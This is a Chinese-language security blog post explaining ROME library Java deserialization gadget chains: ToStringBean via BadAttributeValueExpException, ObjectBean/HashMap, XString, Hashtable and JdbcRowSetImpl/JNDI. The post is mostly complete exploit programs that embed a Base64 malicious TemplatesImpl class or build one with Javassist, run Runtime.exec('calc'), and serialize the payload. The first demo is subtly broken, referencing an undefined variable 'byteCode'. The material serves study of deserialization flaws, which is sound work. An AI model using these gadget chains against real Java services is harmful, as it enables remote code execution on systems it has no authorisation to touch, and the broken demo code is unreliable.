Java安全之ROME反序列化

ph0ebus

发布于 2023-08-13 10:30:54

3710

发布于 2023-08-13 10:30:54

简介

ROME 是用于 RSS 和 Atom 订阅的 Java 框架。并根据 Apache 2.0 许可证开源。ROME 包括一组用于各种形式的联合供稿的解析器和生成器，以及用于从一种格式转换为另一种格式的转换器。解析器可以为您提供特定于您要使用的格式的 Java 对象，或者为您提供通用的规范化 SyndFeed 类，该类使您可以处理数据而不必担心传入或传出的提要类型。

关于RSS的介绍可以参考这篇文章https://zhuanlan.zhihu.com/p/349349861

测试环境

java version “1.8.0_111”

pom.xml

<dependencies>
    <dependency>
        <groupId>rome</groupId>
        <artifactId>rome</artifactId>
        <version>1.0</version>
    </dependency>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.28.0-GA</version>
    </dependency>
</dependencies>

利用原理

Rome提供了com.sun.syndication.feed.impl.ToStringBean这个类，提供深入的 toString 方法对 JavaBean 进行操作。

public String toString() {
    Stack stack = (Stack)PREFIX_TL.get();
    String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
    String prefix;
    if (tsInfo == null) {
        String className = this._obj.getClass().getName();
        prefix = className.substring(className.lastIndexOf(".") + 1);
    } else {
        prefix = tsInfo[0];
        tsInfo[1] = prefix;
    }

    return this.toString(prefix);
}

private String toString(String prefix) {
    StringBuffer sb = new StringBuffer(128);

    try {
        PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
        if (pds != null) {
            for(int i = 0; i < pds.length; ++i) {
                String pName = pds[i].getName();
                Method pReadMethod = pds[i].getReadMethod();
                if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                    Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                    this.printProperty(sb, prefix + "." + pName, value);
                }
            }
        }
    } catch (Exception var8) {
        sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
    }

    return sb.toString();
}

BeanIntrospector.getPropertyDescriptors(_beanClass) 获取到 _beanClass 中的任意 getter 方法，在获取完任意 getter 方法后，做了一系列基本的判断 —— 确保 getter 方法不为空，确保能够调用类的 getter 方法，确保 getter 方法含参数。满足所有判断后执行Object value = pReadMethod.invoke(this._obj, NO_PARAMS);也就实现了调用任意对象getter方法的能力。

因此如果有对象在反序列化过程中会调用任意对象的 toString 方法就可以调用其他任意对象的 getter 方法。例如在cc3链中讲到的TemplatesImpl利用链就是利用了TemplatesImpl#getOutputProperties()这个getter方法

Demo：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.Base64;

public class ROME_toString {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        
        setValue(templatesimpl, "_name", "whatever");
        setValue(templatesimpl, "_bytecodes", new byte[][]{byteCode});
        // 这里对_tfactory的反射赋值在反序列化链中可以不写这步，因为反序列化过程中TemplatesImpl#readObject()会对该值初始化，但Demo是直接调用toString()的
        // _tfactory 需要是一个TransformerFactoryImpl对象
        // 因为TemplatesImpl#defineTransletClasses()方法里有调用到 _tfactory.getExternalExtensionsMap()如果是null会出错
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());  

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesimpl);
        toStringBean.toString();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

利用链

那么就需要找一个反序列化过程中会调用任意对象toString方法的类啦，这里就存在蛮多，一一简单介绍一下

BadAttributeValueExpException利用链

在cc5链中就利用它反序列化中触发TiedMapEntry类的 toString 方法，这里也是类似的触发ToStringBean#toString()

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class BadAttributeValueExpExceptionTest {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        setFieldValue(obj,"_name","whatever");
        setFieldValue(obj,"_bytecodes",new byte[][]{code});
        setFieldValue(obj,"_class",null);

        ToStringBean bean = new ToStringBean(Templates.class, obj);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        setFieldValue(badAttributeValueExpException,"val",bean);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

ObjectBean利用链

这个利用链，是ROME链最初的原型

/**
 *
 * TemplatesImpl.getOutputProperties()
 * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
 * NativeMethodAccessorImpl.invoke(Object, Object[])
 * DelegatingMethodAccessorImpl.invoke(Object, Object[])
 * Method.invoke(Object, Object...)
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)
 *
 *
 */

康康EqualsBean类在哪调用的toString方法

public EqualsBean(Class beanClass, Object obj) {
    if (!beanClass.isInstance(obj)) {
        throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
    } else {
        this._beanClass = beanClass;
        this._obj = obj;
    }
}

// ...

public int beanHashCode() {
    return this._obj.toString().hashCode();
}

继续往上找哪里调用EqualsBean##beanhashCode()，可以找到ObjectBean#hashCode()

public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
    this._equalsBean = new EqualsBean(beanClass, obj);
    this._toStringBean = new ToStringBean(beanClass, obj);
    this._cloneableBean = new CloneableBean(obj, ignoreProperties);
}

// ...

public int hashCode() {
    return this._equalsBean.beanHashCode();
}

而如何调用hashCode()在URLDNS链中就有讲解，这里利用HashMap#put()方法触发

exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class ObjectBeanTest {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_name", "whatever");
        setFieldValue(obj, "_class", null);
        setFieldValue(obj, "_bytecodes", new byte[][]{code});

        ToStringBean bean = new ToStringBean(Templates.class, obj);
        ObjectBean objectBean = new ObjectBean(String.class, "whatever");

        HashMap map = new HashMap();
        map.put(objectBean, "");
        
        setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

XString利用链

com.sun.org.apache.xpath.internal.objects.XString是用于处理 XPath 相关操作的类

/**
 *
 * TemplatesImpl.getOutputProperties()
 * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
 * NativeMethodAccessorImpl.invoke(Object, Object[])
 * DelegatingMethodAccessorImpl.invoke(Object, Object[])
 * Method.invoke(Object, Object...)
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * XString.equals(Object)
 * AbstractMap.equals(Object)
 * HashMap<K,V>.putval(hash, key ,value...)
 * HashMap<K,V>.readObject(ObjectInputStream)
 *
 *
 */

这里是利用XString类的equals()调用任意对象的toString方法

public boolean equals(Object obj2)
{

if (null == obj2)
  return false;

  // In order to handle the 'all' semantics of
  // nodeset comparisons, we always call the
  // nodeset function.
else if (obj2 instanceof XNodeSet)
  return obj2.equals(this);
else if(obj2 instanceof XNumber)
    return obj2.equals(this);
else
  return str().equals(obj2.toString());
}

往上看哪里可以调用XString#equals()，就是HashMap#putVal()

final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                   boolean evict) {
    Node<K,V>[] tab; Node<K,V> p; int n, i;
    if ((tab = table) == null || (n = tab.length) == 0)
        n = (tab = resize()).length;
    if ((p = tab[i = (n - 1) & hash]) == null)
        tab[i] = newNode(hash, key, value, null);
    else {
        Node<K,V> e; K k;
        if (p.hash == hash &&
            ((k = p.key) == key || (key != null && key.equals(k))))
            e = p;
        else if (p instanceof TreeNode)
            e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
        else {
            for (int binCount = 0; ; ++binCount) {
                if ((e = p.next) == null) {
                    p.next = newNode(hash, key, value, null);
                    if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
                        treeifyBin(tab, hash);
                    break;
                }
                if (e.hash == hash &&
                    ((k = e.key) == key || (key != null && key.equals(k))))
                    break;
                p = e;
            }
        }
        if (e != null) { // existing mapping for key
            V oldValue = e.value;
            if (!onlyIfAbsent || oldValue == null)
                e.value = value;
            afterNodeAccess(e);
            return oldValue;
        }
    }
    ++modCount;
    if (++size > threshold)
        resize();
    afterNodeInsertion(evict);
    return null;
}

而HashMap#putVal()会在反序列化过程中被调用，那么这条链子就连上了

exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class XStringTest {
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name", "whatever");
        setValue(templates, "_bytecodes", new byte[][]{code});

        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        XString xString = new XString("whatever");

        // yy 与 zZ 的 hashCode() 相同，因此才会触发 HashMap 去重操作
        Map map1 = new HashMap();
        map1.put("yy", toStringBean);
        map1.put("zZ", xString);

        Map map2 = new HashMap();
        map2.put("yy", xString);
        map2.put("zZ", toStringBean);

        Map map = new HashMap();
        map.put(map1, 1);
        map.put(map2, 2);

        setValue(toStringBean, "_beanClass", Templates.class);
        setValue(toStringBean, "_obj", templates);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

加点调料

利用Javassist缩短payload

这样可以跳过恶意类的编译过程

String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 创建EvilTest对象，父类为AbstractTranslet，注入了payload进静态代码块
ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("EvilTest");  // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));  // 设置EvilTest的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  // 创建一个static方法，并插入runtime
byte[] code = payload.toBytecode();

除此之外，还可以将_name的值设为一个字符等缩短payload长度

Hashtable利用链

Hashtable可以替换（HashSet也可以替换）作为反序列化入口的HashMap类。如果目标反序列化点过滤了HashMap，我们就可以利用Hashtable进行绕过。

这里也就是要想办法从readObject()最终调用到任意类的hashCode()，这里就有一个中间桥梁的reconstitutionPut方法

跟进Hashtable#readObject()，可以发现调用了Hashtable#reconstitutionPut()

private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
{
    // ...

    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
            K key = (K)s.readObject();
        @SuppressWarnings("unchecked")
            V value = (V)s.readObject();
        // sync is eliminated for performance
        reconstitutionPut(table, key, value);
    }
}

继续跟进reconstitutionPut()发现可以调用任意对象的hashCode方法

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
        Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

OK，大功告成

exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Hashtable;

public class HashtableTest {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        // 创建EvilTest对象，父类为AbstractTranslet，注入了payload进静态代码块
        ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
        classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("EvilTest");  // 创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  // 设置EvilTest的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  // 创建一个static方法，并插入runtime
        byte[] code = payload.toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_name", "whatever");
        setFieldValue(obj, "_class", null);
        setFieldValue(obj, "_bytecodes", new byte[][]{code});

        ToStringBean bean = new ToStringBean(Templates.class, obj);
        ObjectBean objectBean = new ObjectBean(String.class, "whatever");

        Hashtable hashtable = new Hashtable();
        hashtable.put(objectBean, "");

        setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

JdbcRowSetImpl利用链

这次不变化ToStringBean#toString的触发方式了，关注后边的利用方式，已知后边可以调用任意对象的getter方法，结合JNDI注入就可以调用JdbcRowSetImpl#getDatabaseMetaData()完成利用

exp

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class JdbcRowSetImplTest {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "rmi://localhost:1099/aa";
        jdbcRowSet.setDataSourceName(url);
        
        ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
        ObjectBean objectBean = new ObjectBean(String.class, "whatever");
        HashMap map = new HashMap();
        map.put(objectBean, "");
        setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

本文采用CC-BY-SA-3.0协议，转载请注明出处 Author: ph0ebus

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原始发表：2023-08-11，如有侵权请联系 cloudcommunity@tencent.com 删除

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